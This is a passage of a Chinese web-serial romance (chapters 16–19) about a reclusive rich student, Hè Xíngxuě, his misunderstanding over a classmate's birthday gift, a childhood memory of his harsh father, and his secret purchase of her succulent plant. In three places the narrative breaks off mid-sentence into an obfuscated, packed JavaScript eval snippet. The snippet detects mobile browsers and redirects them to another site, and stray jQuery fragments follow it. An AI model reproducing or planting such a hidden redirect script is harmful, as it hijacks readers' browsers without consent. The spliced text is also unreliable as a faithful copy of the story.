过了不知多久,激烈的键盘鼠标声停下,一局游戏结束,贺行雪终于稍稍起了困意,伸手取下头戴式耳机。 没顾上退出游戏,他第一时间拿起手机,点进某个黄色app。 闲鱼的消息界面依旧安安静静,前两条,是今早有人询问伦敦房屋是否还在转租的事情,他没有搭理,目光往下滑,落在一个土里土气的莲花头像上。 那里的消息栏,还停滞在交易成功后,系统自带的“快给ta一个评价吧~”上面。 没有新消息。 他把界面往上滑,不信邪似的,手动刷新了几下。 还是没有。 他盯着屏幕,眉心无意识蹙起一道痕,屏幕光映得他皮肤苍白,眼底的淡青也极为明显。 贺行雪握着手机,脸色不太好看。 这个傻蛋怎么回事。 伞放他这里那么久了,怎么都不来找他拿? 他的目光从手机上挪开,落到电竞桌的角落,那里躺着一把折叠得整整齐齐的嫩黄小伞。 盯着它半晌,男生视线却有些空洞,像是在透过那把伞,看着别的什么。 “给你用,我先走啦。” 女孩子眼里盛着阳光,那双眼朝他盈盈地弯了弯,跑动时,脑后乖顺的小啾轻轻晃动,像一只青鸟的尾巴。 独有的绵软欢快的嗓音,在脑海里不轻不重地回荡,羽毛似的轻飘飘。 贺行雪倏地用力闭了闭眼,连眨了好几次眼睛,迫切地让那幅画面消散掉。 怎么回事,怎么老想起她。 他抿了抿唇,看着桌面上那把小伞,心里有了答案。 用了别人的东西没还,总是惦记着也很正常。 十分合乎情理。 贺行雪往后靠在电竞椅上,捧着手机慢悠悠地转了个圈。随后点进女生的主页,上面显示她已有几天没上线过,看着看着他又忍不住皱眉,她怎么一点也想不起来这事。 要不,他提醒一下? 这样的想法在脑海里碾转了一番,立刻又被他否决掉了。 一把伞而已,这么久了他还记着,搞得他多么在意似的。 贺行雪无所事事地划动她的主页,除了洗猫的链接之外,她以前还出售了许多闲置的小东西,例如用旧的书包、几本小说漫画、一盏粉色的台灯……那盏台灯后面,还贴心地备注了光线不太好,他忍不住嗤了声,真是傻不愣登的。 价格标得很便宜,个位数至二位数不等,都显示已售,唯有一个还在售的,是一盆小多肉。 莲花形态,叶片饱满圆润,绿中带粉。 丑死了。 谁会买啊。 贺行雪嫌弃地看了会,然后眼不见为净地划走,百无聊赖地把她的主页从头到尾,又从尾到头地翻了一遍。 其实这些天他已经翻过许多遍了,链接顺序都快会背了,但架不住无聊啊。贺行雪点开那张莲花头像,再次点评了一句“果然很土”,随后退回到聊天界面上,手指微妙地顿了顿。 要不,还是提醒一下吧。 贺行雪心想。 毕竟那是颗傻蛋,可能记性不大好。 大概是这个理由说服了自己,他又把椅子转了回去,拿手机对着那把小伞拍了张照。 点击发送。 * 舒禾看到这张照片的时候,已经是第二天晚上了。 那时她刚写完课外习题,拿起手机准备看看昨晚下单的手环有没有发货,结果忽然想起早上起床时,因为太赶时间,而忽略了一条不知谁发来的闲鱼消息,于是手指半路转道,点进了闲鱼。 发来消息的是个意想不到的人。 舒禾看着。 那个名字为乱码的买家,发来了一张图片,是她的那把伞,嫩黄色的伞躺在漆黑的桌面上,极度显眼。 除此之外,就没有别的了。 干嘛突然给她发张伞的照片啊,发完也不说话,还是在凌晨两三点,这个人不睡觉的吗? 舒禾腹诽,心道难不成是要把伞还给她?可那就是一把普通的便宜小伞呀,那天见他垂着眼睛跟在后面,看着怪可怜的,所以给他遮阳用。既然给了他,她就没准备再拿回来的。 看着聊天页面光秃秃的一张照片,舒禾有些发愁,他要还给她,她也没理由拒绝,但这人平时又不来学校,她总不能去他家找他。 忖度须臾,她手指微动,打了一行字发过去,便去洗漱准备休息了。 一小时后,正是别人入睡的时间,市区罕有的低密度别墅区里寂静非常。 黑黢黢的屋内,贺行雪刚睡醒,一头黑发压得乱糟糟,他随手捞过手机,先看了眼时间,正是十二点。 屏幕下方,提示有一条新消息。 他眉眼微动,一整天了,那女生终于知道回消息了。 点进去,随意扫了扫那条新消息,他的目光忽地凝住了。 女生回复的消息是这样的—— “贺同学,你是要还我伞吗?如果是的话,请帮我交给秦嘉文吧,麻烦你了。” 贺同学。 秦嘉文。 盯着这两道称呼,贺行雪坐在床上一动不动,莫名心里怪异,像卡了一根鱼刺,不上不下的。 她什么时候和秦嘉文关系这么亲近了? 连还东西都要通过他的手。 盯了半天,到最后他也没回复,直接关掉手机,面无表情地起床洗漱。 后来连续几天,贺行雪身上一直有股低气压,吃饭也不好好吃,每顿的食量比家里那只懒猫还少,范兴文和梁玉珍不知他怎么了,问他他却只说没事,他们去检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906338|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查了他的药盒,近期也乖乖的没有擅自停药。 容姨跟着他们胆战心惊的,每天做完家务,私下便待在保姆房里翻看菜谱。 也没错啊,她一直是按这么做的,这小少爷好好的,怎么突然就不吃饭了呢? 容姨年至五十,坐在屋里,腿上摊着几本翻开的菜谱,手里拿的那本刚刚被她合上,突然有点怀疑人生了。 家里这些暗涌贺行雪并未察觉,他也并未觉得自己有哪里不对,每天依旧是打打游戏、看看网课、昼伏夜出,偶尔下楼到客厅时,会莫测地盯着他捡来的那只猫看,那肥猫好几次被他诡异的视线盯得脊背隆起,像只炸毛的恐龙,一溜烟钻进窗帘里,窗帘背后被它顶起好大一个鼓包。 最后贺行雪还是打消了再让它洗一次澡的念头。 因为不用去学校,他也不太记得清工作日和周末,还是某天程敬宇突然发消息叫他打游戏,他才知道又到周末了。 贺行雪懒洋洋地靠在椅背上,横着手机和他联机打游戏。快速收割完一波人头,程敬宇边大喊“牛逼”,边兴高采烈地调整装备。 他兴致缺缺地滑动游戏视角,静了静,忽然问:“老秦最近在干嘛。” “他啊。”程敬宇沉迷于采购新装备,随口道:“他不一直都在跟五花八门的试题打交道嘛,家里试卷都快能搭一座长城了。” “哦。”贺行雪应完声,不说话了。 等一局游戏结束,又是半小时过去,他没急着开下一把,漫不经心道:“好久没和他玩了,叫他一起呗。” “呵呵。”麦克风里传来程敬宇一声拈酸的冷笑,“人忙着和小女生一起做题呢,哪有空理咱们。” 游戏里一阵沉默。 贺行雪不经意地问:“和谁啊。” “还能是谁!”程敬宇说得义愤填膺,“就之前那个纸巾侠啊,你还记得不,他俩同班同学还是同桌,你说他们在学校里天天在一起也就算了,周末居然还要约在书店一起学习,简直黏黏糊糊的!” 说这话时,他没发现队友麦已经彻底安静了下去,他也不在意有没有人接话,自顾自地嘀嘀咕咕:“老秦这人看着挺不解风情的,简直都快成书呆子了,总不能是咱三之间第一个脱单的吧……” 两人停留在游戏大厅,耳机里除了程敬宇的嘀咕声,就只剩下游戏背景音乐。 贺行雪不知在没在听,总之那头的程敬宇一直说个不停。 男生手指缓慢而持续地在屏幕上动作,仓库、商城、活动栏,他漫无目的地把每个地方点开又关掉,视线有些空洞。接着点到了充值页面,男生面无表情地不知道充进去几个648,充完后,程敬宇那张中年商务油腻头像都被他点开看了会,半晌才后知后觉感到辣眼睛。 程敬宇说着说着终于察觉到不对劲:“你到底有没有在听啊?” 贺行雪嗯了声。 程敬宇:“那我刚刚说什么了?” 贺行雪:“……” 程敬宇操了一声,十分无语:“我说,咱找个机会过去凑凑热闹呗?就在外公的书店。” 静默几秒,贺行雪淡淡道:“不去,又和我没关系。” 语调平静得毫无起伏。 “啧,行吧。”程敬宇知道他对这些不感兴趣,也懒得再说,转而道:“那继续开下一把啊。” 贺行雪放下手机:“我不打了。” “别啊,”程敬宇哀嚎,“再来一把,阿姨快做好午饭了,打完刚好吃饭。” 贺行雪依旧无情拒绝,并且直接退出了游戏。微信里很快收到程敬宇发来长达六十秒的语音,他懒得听,这时楼下忽然传来空灵悠长的摇铃声,丁零当啷响了三下,这是容姨做好饭了。 因着这几天没胃口,外公外婆生怕他有个三长两短,最近经常都紧张兮兮地待在家里看着他,容姨更是每顿饭都在换着花样做。 迎着三道强烈的目光,贺行雪不得不勉强吃了几口,吃完放下餐具,起身时,动作微微一顿。 他忽然低声说了句。 “我出去一趟。” * 两只运动手环周五就送到了。 一只是很清新的天蓝色,另一只是较单调的纯黑。 今晨下了雨,气温有所下降,舒禾出门时披了件薄外套,坐在书店里写题。秦嘉文是在两点左右到的,男生直接换上了秋季校服外套,浑身裹得严严实实。 “这样不会太热吗?”舒禾停笔,好笑地瞧了眼他。 秦嘉文也笑:“还行,我比较怕冷。” 舒禾便点点头,随后拿出早就准备好的生日礼物,递给他:“生日快乐,这是一点小心意,不知道你会不会喜欢。” 秦嘉文一愣,没想到还有生日礼物。 “谢谢你啊,舒禾。” 他拆开礼物盒,里面躺着一只天蓝色运动手环,他珍惜地取出来,很给面子地当场戴在手腕,随后朝她一笑:“非常喜欢,刚好在学校里晨跑可以用得上。” 舒禾闻言便放心了:“不用谢,这段时间你真的让我学到了很多很多,我还发愁不知道怎么答谢你。” 秦嘉文谦虚道:“哪有这么夸张。” 聊了几句后,舒禾犹豫了一下:“有件事情,可以请你帮个忙吗?” 秦嘉文疑惑:“嗯?” 她将之前贺行雪在医院替她解围的经过说了一遍,而后问他能不能帮忙转交一下谢礼,毕竟他和贺行雪是朋友,见面机会肯定比她多。 “现在怎么还有这种人。”秦嘉文先是听得皱起了眉毛,再欣然应答,“当然可以,但阿雪不太爱出门,运动手环的话,不知道他能不能用得上,不过,心意到了就行。” 舒禾点点头,真心实意地说:“希望他能用上吧。” 毕竟,总在家里看那种东西,容易肾虚。 “用上什么?” 身后忽然响起男生冷淡的声音。 17. 第 17 章 舒禾脊背一僵,跟大白天见鬼似的,打了个寒颤,没敢回头。 不、不能吧…… 秦嘉文听到声音也愣了一下,抬头一看,男生不知道什么时候走了进来,神情似水一样的寡淡,手里拎了把嫩黄小伞,那明媚鲜活的颜色与他本人极为不符。 “阿雪?”他有些错愕,“你怎么来了?” 舒禾身体紧绷着,真的是他啊…… 她现在有点想找个龟壳罩在自己脑袋上。 贺行雪淡声:“我不能来?” 他不紧不慢地走近。 他说这话的时候,舒禾感觉到一阵强烈到无法忽略的视线落在头顶,她讷讷地抬抬眼皮,果不其然对上一双漆黑的眸子。 秦嘉文无奈解释:“我不是这个意思,只是有些惊讶而已。” 贺行雪不置可否地嗯了声,目光从她的脸上缓缓往下移,落到面前这张桌面,他语气有些心不在焉:“所以,你们在说用上什么?” 两人的桌面上除了书本,中间还扎眼地放着一个包装精致的盒子,那一看就是礼物盒,上头还用彩带系了个蝴蝶结,煞是可爱漂亮,处处都彰显着送礼之人的用心。 贺行雪抿了抿唇,突然想起来,今天似乎是秦嘉文的生日。 他抬起眼,视线在这两人之间打转,逐渐的像是明白过来,唇角天然的笑弧缓缓落了下去。那一瞬间心脏像个乱糟糟的杂物箱,揉杂了一堆说不清道不明的情绪。 说不清是什么感觉,总之是不大好受。贺行雪把这种不好受归因于,他遇到了一个三心二意的渣女。 而此刻,他,竟然冒着雨,来给这个渣女送还她的伞。 呵呵。 贺行雪越想越气,也不等他们回答了,径直将手里的伞往桌面一搁,就恰好覆在那礼物盒上。 接着微微侧开头,看也不看她,语气冷冷淡淡地说:“伞还你。” 舒禾看着眼前的伞愣了一下,继而抬头,神色诧异地问:“你特意过来还伞的吗?” 他知道她在这里不奇怪,毕竟这是他外公的书店,她惊奇的是,一把伞而已,居然能让这个不爱出门的人为此特意走一趟? 贺行雪依旧臭着一张脸,说话的语气如同夏天冰箱里冻得硬邦邦的冰棍:“天气好出来走走,顺路还伞而已。” “而已”两个字的尾音不自觉念得有些重了。 舒禾和秦嘉文罕见地一同沉默,齐齐望向窗外的天空。 这天不说乌云蔽日,但云层也厚重得恍如灰蒙蒙的一片,且还在淅淅沥沥下着雨。 “……” 他还,挺独特的。 舒禾对这种独特不置一词,依然秉持着礼貌,轻声细语地说:“谢谢啊,麻烦你了。” 贺行雪心说我可不是来听你说谢谢的,你个傻蛋最好快点挽留一下我并且给我解释清楚你和秦嘉文的关系,不然等我转头走了这辈子都不给你解释的机会。 他半垂着眼皮。 心里策马奔腾,面上八风不动。 而舒禾小心地与他对视着,那眼神分明像在揣摩他的心思。 等了半晌,终于传来动静。 “那,” 舒禾望向他,小脸上的神情端得慎之又慎,“我送送你?” 贺行雪:…… 见她甚至都直接站起身了,迫不及待的模样,他终于忍不住发出一声阴阳怪气的笑。 打扰你们了呗。 有了新人就不顾念旧人了呗。 呵,他就不走了。 舒禾觉得他的眼神凉飕飕的,还怪吓人,而且貌似没有要走的意思。 她搓了搓手臂默默地坐回去,再没了想要出去单独送他礼物的心思。 前台阿姨搬来一条凳子,男生就大剌剌地在两人侧边坐下,视线打着转,看看这个看看那个,起到一个护城河的作用。 护城河偏头对秦嘉文说:“礼物下周补给你。” 秦嘉文没跟他客气:“我以为你想不起来我生日。” 毕竟前几年他都不在国内,他们也一直没有互送礼物的习惯,秦嘉文没想到他回国后还能记得,想想心里还有些感动。 贺行雪:“哦,确实没想起来。” 秦嘉文:“……” 你下次可以不用这么直接的。 他抬了抬镜框以掩饰自己的失态,余光瞥见贺行雪的视线落在桌面那个白色礼物盒上,便明白他怎么突然记起来了。 但他大概是有所误会。 秦嘉文看了看对面女生,没有冒然出声替她解释,毕竟礼物还是自己亲自送出去更有意义。 贺行雪跟着看了过去。 舒禾动作慢吞吞的,把放在礼物盒上面的遮阳伞拿走,又理了理被压扁的蝴蝶结,最后无事可做了,正主都到面前了,礼物没有不送的道理。 她的手抠着盒子坚硬的边角,深吸一口气,紧张缓慢地把礼物盒往右推到的男生面前。 “这个送、送给你。” 她眼神闪躲,不是一般的心虚。 虽然别人看不出这个运动手环有什么深层含义,她自己却是明白的,送出去多多少少有些难为情。 贺行雪罕见地怀疑自己耳朵:“什么?” 舒禾见状只好又把盒子往他那边推了推:“这是送给你的礼物……谢谢你那天在医院帮我。” 她的声音越说越小。 恍惚间,贺行雪察觉自己的唇角似乎上扬了一点弧度,意识到此他心中微震,努力控制面部肌肉把唇角缓缓拉平。然而他的嘴突然开始不听使唤,好似一个背临阵营的叛军,未到一秒便又有了上翘的趋势。 生理反应与自我意识在他脸上展开一场剧烈的拉锯战,双方你追我赶,战役旷日持久胜负未定,导致他整张脸看起来跟扭曲了似的。 舒禾半晌没得到回复,忧心忡忡地望向他:“你的脸,是不是抽筋了啊?” 秦嘉文紧张地凑过去:“是不是身体有哪里不舒服了?” “……” 对着两人别无二致的担忧目光,贺行雪窘迫别过头,偷偷做了两次深呼吸,确保夺回身体各个部位的控制权,才不动声色转了回来。 “没事,只是突然想起来一个电影。” 秦嘉文不解。 舒禾心里咯噔。 “什什什么电影?” 贺行雪疑惑地看了她一眼,随即满脸认真地胡编瞎诌:“一条狗的使命,昨晚睡前看的,刚突然回忆起来有点想哭。” “……哦。”舒禾为自己的脑补讪讪笑了下,“那你还挺感性的。” 贺行雪又忍不住瞟一眼桌上的礼物盒:“给我的?” 舒禾嗯嗯点头:“要不要拆开看看?” 男生低头没说话,伸手将它拿起来,端详了好一会。 冷白修长的手指穿过系得娇憨的小蝴蝶结,拉住粉白的尾巴轻轻一扯,蝴蝶便柔软地落入了他的掌心。 他挪开盒盖,里面是一只黑色的运动手环。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912846|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这黑色一看就不是秦嘉文会喜欢的风格。 原来真是送给他的。 贺行雪感觉自己的嘴唇又要沦为叛军了,赶在彻底叛变之前,他克制地合上盖子,声音低低的:“怎么突然……送我这个?” 舒禾语气委婉:“我觉得多运动运动,对身体比较好。” 贺行雪哦了一声,心里有些隐秘的雀跃。 停顿有半分钟,开始嘴硬:“那还是游戏比较有意思。” 话虽这么说,他的手却一刻也没从礼盒上离开过,那条粉色的细带宛如一条小蛇,在他清瘦的指骨上缠了一圈又一圈。 舒禾撇了撇嘴,瞥见对面的秦嘉文都已经做完一整页数学题,她开始赶人:“我要学习了。” 贺行雪装听不懂,坐在那里没动。 舒禾心想时间长了他自己也会走,毕竟在这里看别人做题多无聊啊,哪有回去打游戏有意思。 便没管他,径自翻开数学题册做了起来。 渐渐沉入题海,笔尖不停解完一道又一道。 在将要翻到下一页时,身旁忽然传来一道清冽好听的声线:“这道题答案应该是2√5。” 舒禾一愣,下意识地问:“为什么?” 她侧眸看向贺行雪。 他正懒洋洋支着下颌,整个人坐得没个正形,薄薄的眼皮半抬不抬,从那角度正好可以看到她的题册。 贺行雪闻言自然而然地接过她手中纸笔,低头在草稿纸上一步步演算起来,神色轻松得几乎没有停顿。 舒禾为了看得更清晰,向他凑了过去。 贺行雪的笔尖差点划破脆弱的草稿纸。 一瞬间脑子里冒出好些不相干的东西,他罕见地悬住笔尖,顿了有十几秒,才勉强继续写下去。 洋洋洒洒写完大篇解题步骤,贺行雪冷静地把草稿纸推还给她,舒禾接过认真看了起来,仔细看完后,顿时豁然开朗,又尝试着自己解了一遍。 她忍不住好奇:“国际部学的内容也和我们一样吗?” 贺行雪否认:“教材和进度都不一样。” 舒禾:“那你怎么……” 秦嘉文这时写完一张试卷,插入话题,夸耀道:“阿雪很厉害的。” 舒禾有点没概念:“很厉害是多厉害啊?” 秦嘉文想了想,实话实说:“如果他在学部,那年级第一肯定不是我了。” 舒禾:“哇……” 她的嘴唇惊讶得张出一个鸽子蛋的形状,看向贺行雪的眼神溢满了钦佩之色。 贺行雪眼睫微敛,略不自在地偏过头,耳朵悄悄红了一个尖。 这样一来,他的视野范围里就只剩下秦嘉文。 今天的秦嘉文看起来极其顺眼。 他决定了,要把秦嘉文偷看颜色视频,且不小心把碟片放到他包里的这件事情彻底烂在心里。 五点时,三人收拾好东西,一同出了书店。 临近一条岔路,秦嘉文犹疑地停下脚步:“阿雪,你今天不打算再回学校看看吗?” 舒禾也向他看了过去。 贺行雪顿了顿,低头含糊地嗯了声。 舒禾看着他,眼神里带有疑惑,却沉默着没说话。 他们最终在岔路口前分别。 贺行雪手里还拿着那个小礼盒,看了看两人相行离去的背影,眉眼微微耷了下去。 半晌,男生慢吞吞地转身,踩着脚底橙红的夕阳,独自朝着相反的方向回家。 18. 第 18 章 贺行雪今晚罕见地回忆起一些久远的事情。 他的父亲出身不算富裕,根据外公外婆的说法,他最早是在香港靠倒卖货物挣钱,自身关系网庞大,后来遇贵人提携做起了外贸,就在事业刚刚起步的时候遇到了来香港上大学的母亲。 母亲的家庭在内地算得上是相当显赫的,所以他们早期的婚姻并不受外公外婆待见,是母亲一意孤行,范兴文拦不住她,也没真的狠下心来棒打鸳鸯,但父女由此有了很长一段冷战时期。 一直到贺行雪出生,他们一家都还住在香港租赁的小房子里,约莫是在他小学时家里才真正好了起来。除去附中外,他一共转了三次学,第一次就是从香港转到美国一所K-8私校继续小学生涯,但可惜的是,或许因为他对这个国家的陌生,也或许因为他不算流利的英语,在那所学校他并未交到任何朋友。他曾经失落地在父亲面前寻求慰藉,但父亲只是摸了摸他的头,说那你更要努力提升自己。 除了基础的课业,他放学后还会有更深层的预习课程,再一次放学已经是七八点,外面又黑又冷,司机会负责把他安全送到家,家里有钢琴老师在等着他,假期的兴趣班也从不能落下,马术、冰球、击剑……他每天都是累到极致才能睡下,不知道这和他现在的失眠有没有关。 他学到了很多普通人无法企及的东西,当然也失去了正常人快乐的童年生活,可悲的是尽管他已经很努力,却依然没在班级里有过知心好友。他总是独来独往,数不清在冰场上有多少次被高年级的人恶意冲撞过,某次他试图反抗,结果差点被那人的小团体围殴……这大概就是有朋友的好处吧,还好教练拉架及时,不过,他一颗摇摇欲坠的门牙还是在那时磕掉了。 话说回来,其实他也交到过一个朋友。 没有钢琴课的晚上,贺行雪会拒绝司机的接送自己走回家,他会途经一条唐人街,唐人街里热闹非凡还混杂着火锅浓重的香气,他常常内心渴望地望着那边,但是从未进去过。 有次天将将擦黑,街边飞来一个足球,他下意识接住了。有一个和他差不多岁数的小男孩跑过来,满脸歉意地和他说了句英语,但是看见他的长相,顿了顿又改口成中文:“对不起,我不小心踢到外面来了,可以把球还给我吗?” 当时贺行雪把球还给他,没有多聊天就走了。 但后来每次路过那条街,他总会磨磨蹭蹭地驻足片刻,兴许是小孩儿之间的默契吧,每次他停留那里不超过五分钟,都会横空飞来一个足球,后面跟着一个小男孩。 小男孩说他叫宋恩,今年刚从内地来,又问他是哪里的。贺行雪庆幸父母在家会和他说中文,不然语言能力都要退化了。 之后一来二去,两人便玩到了一起。就在他门牙磕掉那天,宋恩既震惊又忍不住哈哈大笑,没办法,缺门牙的画面即使放到贺行雪那张脸上也是一件非常搞笑的事情,然而宋恩在得知前因后果之后就笑不出来了。 当时宋恩比他还要矮半个头,气势汹汹地拉着他就要回去报仇。贺行雪以一种非常理智的眼神看着他:“他们有四个人,两个人就能按住我,分一个人按住你绰绰有余了,还剩一个甚至可以在旁边录视频发到网上。” 宋恩:“……” 他还是憋不下这口气:“你等我几天,我去中国城里摇几个帮手,到时候我们帮你一起讨伐回去!” 那天回去的时候,宋恩还气喘吁吁地跑回家里,拿来一个变形金刚的模型,依依不舍地送给他:“这是我唯一从国内带过来的玩具,送给你,你……你别难过了,牙齿很快就会长出来的。” 他没能煽情几秒,说完看见贺行雪漏风的门牙又憋不住捂着嘴偷笑,贺行雪气得很想揍他一顿但是硬生生忍住了。 他早已过了喜欢玩玩具的阶段,但依旧小心地捧着宋恩给他的变形金刚,这是他来到美国后收到的第一份礼物,回家后贺行雪十分珍重地把它放进玻璃橱窗,和那些数不清的金灿灿的奖杯放在一起。 结果第二天回家就在垃圾桶里看到了它。 起因是这样的,那天父亲邀请了生意伙伴来家里做客,两人路过那面橱窗,父亲没多注意,隐含骄傲之意,介绍说这都是他儿子参加比赛获得的,当时客人有些诧异地笑了下,说您儿子真富有童心。父亲这才奇怪地转过头,看见那些代表荣誉的奖杯里,竟掺了个粗制滥造的玩具。 尽管客人并未有恶意或嘲笑的意思,但晚上父亲仍旧发了好大一通脾气,并且严厉地叮嘱他:“以后绝对不准把这些上不得台面的东西往家里带!” 就这样,他收到的第一份礼物,珍而重之的礼物,被打成了上不得台面的东西。 贺行雪无颜面对宋恩,后面几天路过唐人街都是用跑的。 那期间父母的感情已经十分紧张,两人几乎很少会同时出现在家里,贺行雪刚开始还会试图缓和他们的关系,但后来发现他们只要在一起,饭桌上迎来的要么是声嘶力竭的争吵,要么就是恐怖到窒息的沉默。 对,恐怖。贺行雪惊恐地发现,他成了稳固这段关系的唯一桥梁,而这座桥梁正在逐渐地腐朽开裂。 宋恩是在几天后守株待兔逮住了他。 他所说的帮手就是唐人街里平时一起玩的几个小孩,年龄8岁至14岁不等,都是被这里其他小孩欺负过的。 一帮小孩同仇敌忾,斗志昂扬,大家都不屑于背后耍阴招,于是围着贺行雪坐成一圈,表情十分严肃地制定战斗计划,生生把这场幼稚的约架烘托出了为国家与尊严抗争的氛围。 以至于贺行雪居然真的被激出了一点好胜心,第二天晕乎乎地去找那几个高年级生下战书。 两波人谨慎地约在一个没有监控的空地,事先说好不管谁输都不能去找老师告家长。讨伐当天,每个人都被揍得鼻青脸肿四仰八叉,最后之战以火锅队险胜告终。 但谁也没料到,对方居然背信弃义地回学校告状,学校很快联系了双方家长。 那是贺行雪第一次见到父亲怒不可遏的模样。 男孩面容惨白地仰望着脖子青筋暴起的父亲,这个快比他高了半个身子的男人,如同一座磅礴的大山向他倾覆下来,他狠狠地甩了贺行雪一巴掌,贺行雪根本不敢躲,那巴掌结结实实地挨在他本就肿得老高的脸颊上。 父亲认为他丢尽了他的脸面,没多久他就迎来了第二次转学,父子关系自此急转直下。 从那以后,他再也没见过宋恩。 …… 今晚的夜幕异常阒寂。 再次回忆起这段陈年往事的时候,所有的愤怒或是遗憾都已经被时间冲淡了,贺行雪心里的波动所剩无几,他倚靠在电竞椅上,举着那只黑色手环对准头顶的灯盘,手环背后折射出一圈圈的光环,他眯着眼睛,像在看房间里一轮熠熠升起的金乌。 女孩当着秦嘉文的面坦荡将礼物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921273|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送给他的那副场景时隐时现。 所以,是他误会了。 舒禾一直喜欢的都是他。 贺行雪的唇角又有些不受控。 他拿起手机,今晚第三十四次点进闲鱼。 依旧是那个熟悉的莲花头像。 贺行雪放大独自欣赏了几分钟,觉得这头像其实也没那么土,至少今天看起来变可爱了不少,真是奇也怪哉! 还有那盆滞销的多肉,他仔仔细细地左看右看,心道这不还挺好看的吗,怎么会没有人买啊,真是目不识珠。 两秒钟后,他意外手滑,不小心切换到了小号。 然后又过了两秒,他再次手滑,这次一不小心就给这盆多肉买下来了。 既然这样。 贺行雪顺理成章地想,那就让他做这个慧眼识珠的人吧。 以防那傻蛋心生误会,他地址填的是蓉城另一处房产。 什么时候发货呢……? 翌日一早,保姆阿姨端早餐的时候,特别欣喜地发现贺少爷身上有哪里不一样了。 男生坐在餐桌前,不再是蔫头蔫脑的模样,那股阴沉沉的气息也终于消散掉,连带着食欲都稍微好了点。 她天天琢磨菜谱终于起效用了! 就是……似乎还有些后遗症。 容姨注视着频繁打开手机看的男生,表情忧心忡忡的。 他走路的时候要看两眼,吃饭的时候要看两眼,撸猫的时候要看两眼,等电梯的时候要看两眼……甚至就连洗漱到一半的时候,都要拿毛巾擦干手看两眼。 简直跟那些刚陷入热恋一直等女朋友消息的小男生似的! 等等。 容姨看着他,冷不丁窜出个古怪想法。 这小少爷不会真在谈恋爱吧? 如果贺行雪能听见她的心声,必然会对此不屑一顾。 他只是在翘首以盼那盆小多肉而已。 可惜它的卖家是个好学生,一整个白天都没有回消息。贺行雪只好先去睡觉,醒来时已经十一点了,他第一时间摸过手机,这次如愿以偿地收到了闲鱼消息。 舒禾发来一张照片,是那盆多肉。 -你好,确认一下没问题,明天给您发货哦。 贺行雪先看了眼照片,那盆多肉摆放在窗台上,模样和链接里那张图片没什么差别,只是拍摄角度不同。 他秉持着一贯的高冷回了个嗯。 一天的念想结束了,贺行雪突然无所事事,于是切换回自己大号,却没看见新的未读消息。 贺行雪皱眉看着手机。 她怎么都不给自己发消息。 他只好又换回小号,继那个“嗯”字之后,对面一直没有回复,可能已经睡觉了吧。 贺行雪有点惆怅有点无聊,再次点开聊天记录里唯一一张照片看。 这一看,视线就凝住了。 因为拍摄的角度和时间都不同,所以细看之下,这张照片和链接里的也不是毫无差别。 比方说多肉的叶片上新沾着几粒小水珠,比方说背景的玻璃窗上多了点雨渍,又比方说……照片的右下角露出个熟悉的橙色汽水罐。 只露了很少一点点。 但贺行雪整个定住了,视线黏在那罐橘子汽水上,怎么也挪不开,他内心大震。 不是吧这个傻蛋! 再舍不得喝也不至于放这么久啊!! 19. 第 19 章 贺行雪对自己进行了深刻的反思。 他是不是有点太吝啬了。 居然让女孩子对着一罐汽水睹物思人。 贺行雪愁得眉毛都要皱秃了,既想暗示她一下吧,又不知该如何开这个头,弄不好马甲就要掉了。 直接明说?不行不行。 难道就让她一直保存着舍不得喝掉? 贺行雪看看床头柜上的礼物盒,心里更加过意不去。 唉,真难办啊。 他叹气,有些苦闷,但又诡异地尝到了点甜蜜的滋味。 窗外的鸣蝉早已歇息,屋子里黑漆漆的没点灯,他单手枕在脑后,阖眼半倚在床头,回忆着自与舒禾相遇后的一幕幕。 她是从什么时候喜欢自己的呢? 他思考良久,似乎找不出一个准确的节点,但并未太纠结于此,毕竟感情一事向来如此,没有什么花里胡哨的理由,喜欢就是喜欢了。 说不定是一见钟情呢? 贺行雪闭着双眼,眼尾依然微微上扬,像在笑似的。 但没笑一会,眼尾慢慢耷拉下来。 她为什么从不来主动找他呢。 洗猫那次是意外,她事前压根不知道买家是谁,但那之后她已经知道他家住址了,却也一次没来找过他,甚至闲鱼上都没有多余的聊天记录,全是公事公办的语气,就连,就连送给他的礼物……都要拜托秦嘉文帮忙。 这么一想心里又不大高兴了,贺行雪缓缓睁开眼,侧身从床头柜上拿过那个小小的礼物盒,放至腿上将它打开,那只黑色手环还乖乖巧巧待在里面,他伸手轻轻摩挲了一下,唇角不自觉地向上掀了掀。 算了,总之她对待他是特殊的,这就行了。 至于为什么不来找他……贺行雪想,那傻蛋傻归傻,怎么说都是个女孩子,性格腼腆内敛一点,似乎也没什么好稀奇的。 对,就是这样。 